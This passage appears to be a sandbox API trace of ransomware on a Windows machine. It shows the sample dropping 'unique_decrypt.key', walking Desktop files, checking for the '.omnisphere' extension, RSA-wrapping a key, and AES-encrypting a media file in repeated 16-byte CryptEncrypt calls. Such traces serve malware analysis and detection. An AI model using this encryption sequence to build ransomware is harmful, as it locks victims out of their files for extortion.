pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0165.742] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.742] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0165.743] CloseHandle (hObject=0x39c) returned 1 [0165.743] GetProcessHeap () returned 0x1600000 [0165.743] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a730 | out: hHeap=0x1600000) returned 1 [0165.743] GetProcessHeap () returned 0x1600000 [0165.743] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1691f20 | out: hHeap=0x1600000) returned 1 [0165.743] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf944dc70, ftCreationTime.dwHighDateTime=0x1d4d014, ftLastAccessTime.dwLowDateTime=0x227ba740, ftLastAccessTime.dwHighDateTime=0x1d4d0c9, ftLastWriteTime.dwLowDateTime=0x227ba740, ftLastWriteTime.dwHighDateTime=0x1d4d0c9, nFileSizeHigh=0x0, nFileSizeLow=0xba52, dwReserved0=0x0, dwReserved1=0xf5, cFileName="YQ2t28Ch.m4a", cAlternateFileName="")) returned 1 [0165.743] GetProcessHeap () returned 0x1600000 [0165.743] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x58) returned 0x163db98 [0165.743] PathCombineW (in: pszDest=0x163db98, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="YQ2t28Ch.m4a" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\YQ2t28Ch.m4a") returned="C:\\Users\\FD1HVy\\Desktop\\YQ2t28Ch.m4a" [0165.743] StrStrW (lpFirst=".omnisphere", lpSrch=".m4a") returned 0x0 [0165.743] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\YQ2t28Ch.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\yq2t28ch.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.744] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=47698) returned 1 [0165.744] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xb52e, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0165.744] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0165.744] GetTickCount () returned 0x1169264 [0165.745] GetTickCount () returned 0x1169264 [0165.745] GetTickCount () returned 0x1169264 [0165.745] GetTickCount () returned 0x1169264 [0165.745] GetTickCount () returned 0x1169274 [0165.745] GetTickCount () returned 0x1169274 [0165.745] GetTickCount () returned 0x1169274 [0165.745] GetTickCount () returned 0x1169274 [0165.745] GetTickCount () returned 0x1169274 [0165.745] GetTickCount () returned 0x1169274 [0165.745] GetTickCount () returned 0x1169274 [0165.745] GetTickCount () returned 0x1169274 [0165.745] GetTickCount () returned 0x1169274 [0165.745] GetTickCount () returned 0x1169274 [0165.746] GetTickCount () returned 0x1169274 [0165.746] GetTickCount () returned 0x1169274 [0165.746] GetTickCount () returned 0x1169274 [0165.746] GetTickCount () returned 0x1169274 [0165.746] GetTickCount () returned 0x1169274 [0165.746] GetTickCount () returned 0x1169274 [0165.746] GetTickCount () returned 0x1169274 [0165.746] GetTickCount () returned 0x1169274 [0165.746] GetTickCount () returned 0x1169274 [0165.746] GetTickCount () returned 0x1169274 [0165.746] GetTickCount () returned 0x1169274 [0165.746] GetTickCount () returned 0x1169274 [0165.746] GetTickCount () returned 0x1169274 [0165.746] GetTickCount () returned 0x1169274 [0165.746] GetTickCount () returned 0x1169274 [0165.746] GetTickCount () returned 0x1169274 [0165.746] GetTickCount () returned 0x1169274 [0165.746] GetTickCount () returned 0x1169274 [0165.746] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x16681b8) returned 1 [0165.747] CryptImportKey (in: hProv=0x16681b8, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x16397a8) returned 1 [0165.747] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0165.747] CryptDestroyKey (hKey=0x16397a8) returned 1 [0165.747] CryptReleaseContext (hProv=0x16681b8, dwFlags=0x0) returned 1 [0165.747] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xba52, lpName=0x0) returned 0x380 [0165.747] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xba52) returned 0x1480000 [0165.748] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x16688a0) returned 1 [0165.748] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x1639ae8) returned 1 [0165.748] CryptSetKeyParam (hKey=0x1639ae8, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0165.748] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0165.749] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.749] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.749] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.749] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.749] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.749] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.749] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.749] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.749] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.750] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.750] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.750] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.751] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.751] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.751] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.751] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.751] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.751] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.751] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.751] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.751] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.751] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.751] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.751] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.751] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.751] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.751] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.751] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.751] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.751] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.751] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.751] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.751] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.751] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.752] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.752] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.752] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.752] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.752] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.752] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.752] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.752] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.752] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.752] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.752] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.752] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.752] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.752] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.752] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.752] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.752] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.752] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.752] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.752] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.752] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.752] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.753] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.753] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.753] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.753] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.753] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.753] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.753] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.753] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.753] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.753] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.753] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.753] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.753] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.753] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.753] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.753] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.753] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.753] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.753] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.753] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.753] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.753] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.754] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.754] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.754] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.754] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: 